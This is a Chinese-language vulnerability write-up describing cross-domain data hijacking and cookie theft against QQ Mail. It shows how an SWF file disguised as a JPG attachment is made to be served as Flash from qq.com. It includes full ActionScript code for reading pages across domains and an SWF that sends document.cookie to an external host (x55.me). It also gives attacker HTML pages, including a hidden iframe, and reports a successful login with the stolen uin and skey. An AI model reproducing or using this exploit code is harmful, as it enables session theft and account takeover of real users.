最近看了@irsdl的Even uploading a JPG file can lead to Cross Domain Data Hijacking 之后,琢磨着能不能找到一个好一点的实例。google dork了一下json的callback发现被修复的七七八八了。又找了一些*.qq.com上的上传页面也没能找到能上传swf的。最后又迂回到了重兵把守的QQ邮箱,在这里找到了突破点。 第一个案例: 首先构造一个swf文件,具体的as代码如下(借的):
package com.powerflasher.SampleApp { import flash.external.ExternalInterface; import flash.display.Sprite; import flash.display.Sprite; import flash.events.Event; import flash.net.URLLoader; import flash.net.URLRequest; import flash.text.TextField; import flash.text.TextFieldAutoSize; import flash.xml.*; import flash.events.IOErrorEvent; import flash.events.*; import flash.net.*; /** * @author User */ public class CrossDomainDataHijack extends Sprite { private var loader:URLLoader; public function CrossDomainDataHijack() { loader = new URLLoader(); configureListeners(loader); var target:String = root.loaderInfo.parameters.input; var request:URLRequest = new URLRequest(target); try { loader.load(request); } catch (error:Error) { sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace()); } } private function configureListeners(dispatcher:IEventDispatcher):void { dispatcher.addEventListener(Event.COMPLETE, completeHandler); dispatcher.addEventListener(Event.OPEN, openHandler); dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler); dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler); dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler); dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler); } private function completeHandler(event:Event):void { var loader:URLLoader = URLLoader(event.target); //trace("completeHandler: " + loader.data); sendDatatoJS("completeHandler: " + loader.data); } private function openHandler(event:Event):void { //trace("openHandler: " + event); sendDatatoJS("openHandler: " + event); } private function progressHandler(event:ProgressEvent):void { //trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal); sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal); } private function securityErrorHandler(event:SecurityErrorEvent):void { //trace("securityErrorHandler: " + event); sendDatatoJS("securityErrorHandler: " + event); } private function httpStatusHandler(event:HTTPStatusEvent):void { //trace("httpStatusHandler: " + event); sendDatatoJS("httpStatusHandler: " + event); } private function ioErrorHandler(event:IOErrorEvent):void { //trace("ioErrorHandler: " + event); sendDatatoJS("ioErrorHandler: " + event); } private function sendDatatoJS(data:String):void{ trace(data); ExternalInterface.call("sendToJavaScript", data); } } }
然后修改swf的扩展名为jpg或其它图片格式的文件的扩展名便于通过上传检测的扩展名检测。然后通过QQ邮箱给自己发送一封邮件,并把我们编译好的swf文件(记得要改扩展名)添加到附件里并发送。
收到邮件后,打开邮件点击附件中的预览按钮并开启Firebug,通过Net对网络通讯进行观察:
从这里可以看出在第三条请求当中当前页面正在像http://sz.mail.ftn.qq.com发送一些HTTP请求,并且response正好是一张图片。复制第三条请求的url:
http://sz.mail.ftn.qq.com/ftn_handler/781c517614e456370aa64e576e2033fda3eb3a341d8659e4a69a9bdc06be37d3?compressed=0&dtype=1&fname=CrossDomainDataHijack.jpg
试图用浏览器打开时,发现会提示是否要下载。
经过一小系列测试发现,通过修改dtype=2可以让图片直接加载,而不是直接去下载它。
这样一来我们就拥有了一个在*.qq.com下面的swf文件。现在看看能不能实现所谓的CrossDomain datahijack了。编写测试页面(也是借的):
<html> <head><title>csrftest</title> <script> function sendToJavaScript(strData){ var theDiv = document.getElementById("HijackedData"); var content = document.createTextNode(strData); theDiv.appendChild(content); theDiv.innerHTML += '<br/>' //alert(strData); } </script> </head> <body> <div id=HijackedData></div> <object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://sz.mail.ftn.qq.com/ftn_handler/781c517614e456370aa64e576e2033fda3eb3a341d8659e4a69a9bdc06be37d3?compressed=0&dtype=2&fname=CrossDomainDataHijack.jpg"> <param name="AllowScriptAccess" value="always"> <param name="flashvars" value="input=http://www.qq.com/"> </object> </body> </html>
看看是不是直接能够跨域把www.qq.com的html源码弄过来:
测试成功。这意味着我们可能利用这个伪造了扩展名的swf文件来盗取腾讯某些站点下的csrf token或其它一些会包含在html当中的敏感信息。 第二个案例: 在第一个案例当中,我们利用的swf文件在当前域下实际上是以content-type:image/jpeg来解析的。我们再试试我们能不能让它在当前域下当作一个swf文件来解析。经过一小系列测试发现,当我们把下面的URL当中的:
http://sz.mail.ftn.qq.com/ftn_handler/781c517614e456370aa64e576e2033fda3eb3a341d8659e4a69a9bdc06be37d3?compressed=0&dtype=2&fname=CrossDomainDataHijack.jpg
fname后面的CrossDomainDataHijack.jpg修改为test.swf时,页面会以Content-type:application/x-shockwave-flash来解析,如下图:
这回我们算是在真正的意义上,上传了一个swf文件。需要补充的是,该文件的访问权限是任何人。也就是说不存在权限问题而不能被利用起来。唯一麻烦的就是URL当中的这段hash
781c517614e456370aa64e576e2033fda3eb3a341d8659e4a69a9bdc06be37d3
会在30分钟左右过期,需要我们每间隔30分钟,重新使用案例1中的方法获取新的URL(无需重新上传)。 这次再写一个能偷cookie的swf文件,代码如下:
package { import flash.external.ExternalInterface; import flash.display.Sprite; import flash.display.Sprite; import flash.events.Event; import flash.net.URLLoader; import flash.net.URLRequest; import flash.text.TextField; import flash.text.TextFieldAutoSize; import flash.xml.*; import flash.events.IOErrorEvent; import flash.events.*; import flash.net.*; /** * @author User */ public class csrf extends Sprite { private var loader:URLLoader; public function csrf() { var res:String = ExternalInterface.call("function(){return document.cookie;}"); doGet(res); } private function doGet(res:String):void{ loader = new URLLoader(); var target:String = "http://x55.me/geo.php?get="+res; var request:URLRequest = new URLRequest(target); try { loader.load(request); } catch (error:Error) { sendDatatoJS("Error: " + error.getStackTrace()); } } private function sendDatatoJS(data:String):void{ trace(data); ExternalInterface.call("colsole.log", data); } } }
重复案例一种的步骤进行上传和参数修改。得到URL:
http://sz.mail.ftn.qq.com/ftn_handler/595af2ea431bfa68bc5e2e515d3a83a39752af9a4cc701539ad5b70b759a175d?compressed=0&dtype=2&fname=1.swf
做一个测试页面用来盗取用户的cookies:
<html> <head> <title>steal cookies test</title> </head> <body> <iframe src="http://sz.mail.ftn.qq.com/ftn_handler/595af2ea431bfa68bc5e2e515d3a83a39752af9a4cc701539ad5b70b759a175d?compressed=0&dtype=2&fname=1.swf" width=0 heigth=0> </body> </html>
当用户访问我们特定的页面时,cookie将被窃取:
对盗号不感冒,所以不知道具体都可以登录哪些业务。但是至少测试可以用uin和skey成功登录aq.qq.com